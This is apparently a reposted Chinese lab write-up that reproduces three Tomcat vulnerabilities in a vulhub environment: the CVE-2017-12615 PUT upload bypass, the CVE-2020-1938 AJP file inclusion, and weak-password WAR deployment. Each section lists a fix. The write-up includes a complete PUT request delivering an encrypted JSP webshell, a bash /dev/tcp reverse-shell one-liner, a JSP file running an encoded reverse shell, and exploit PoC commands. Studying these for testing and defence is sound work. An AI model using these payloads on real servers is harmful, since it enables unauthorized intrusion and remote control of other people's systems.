tomcat漏洞復現總結


一、前言

想復現這個是面試的時候師傅提了 tomcat 好幾個洞,自己卻只知道弱口令和部署 war 包,慚愧慚愧,雖然拿到了 offer,但是一直記着這個事。九月份面試的現在才復現啊呀啊呀拖延的一匹。這幾個月發生了好多事,果然 2020 年比較魔幻(但是期待的事都有好結果!)

 

二、實驗環境

  • ubuntu 20.10 x64
  • vulhub

https://github.com/vulhub/vulhub/tree/master/tomcat

 

三、漏洞列表

3.1CVE-2017-12615(補丁bypass)

影響版本:

tomcat 5.x-9.x

復現過程:

Windows:

  • /shell.jsp::$DATA繞過
  • /shell.jsp%20,空格繞過
  • /shell.jsp/,tomcat在處理文件時會刪除最后的/

Linux:

  • /shell.jsp/,tomcat在處理文件時會刪除最后的/
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 572

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*寥:Þ¥Æ32Mmd5<„M16MؤޥÆrebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

解決方式:

conf/web.xml 中 DefaultServlet 的 readonly 設置為 true

 

3.2CVE-2020-1938

影響版本:

  • tomcat 6.x
  • tomcat 7.x < 7.0.100
  • tomcat 8.x < 8.5.51
  • tomcat 9.x < 9.0.31

復現過程:

Tomcat-Ajp 協議讀取文件

poc 地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py ip.ip.ip.ip -p 8009 -f WEB-INF/web.xml

 

該漏洞可以任意文件類型解析為 jsp,從而達到任意命令執行的效果。但漏洞需要配合文件上傳漏洞才可利用,這里先上傳一個包含反彈 shell 命令的 test.txt 復現漏洞。反彈 shell 命令,在線命令編碼:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/ip/port 0>&1

 

test.txt 文件如下

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

 

將當前操作系統家目錄下的文件復制到容器的相應目錄

docker cp /root/test.txt 087e6b2d9acd:/usr/local/tomcat/webapps/ROOT/

 

本地監聽,執行 poc 即可成功獲取反彈 shell,poc 地址:https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

python2 poc.py -p 8009 -f test.txt ip.ip.ip.ip

解決方式:

升級到 9.0.31、8.5.51、7.0.100,或直接關閉 AJPConnector

 

3.3弱口令部署war包

影響版本:

全版本

復現過程:

Manager App 弱口令登錄 tomcat/tomcat

 

jsp 打包為 war 並部署,ip:8080/test/shell.jsp 可以成功訪問

jar cvf test.war shell.jsp

解決方式:

設置強口令

 

參考文章:

https://zhuanlan.zhihu.com/p/137686820

https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

https://www.jianshu.com/p/4097dc30f660

https://www.cnvd.org.cn/webinfo/show/5415

https://www.jianshu.com/p/f3e4b5896edb

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM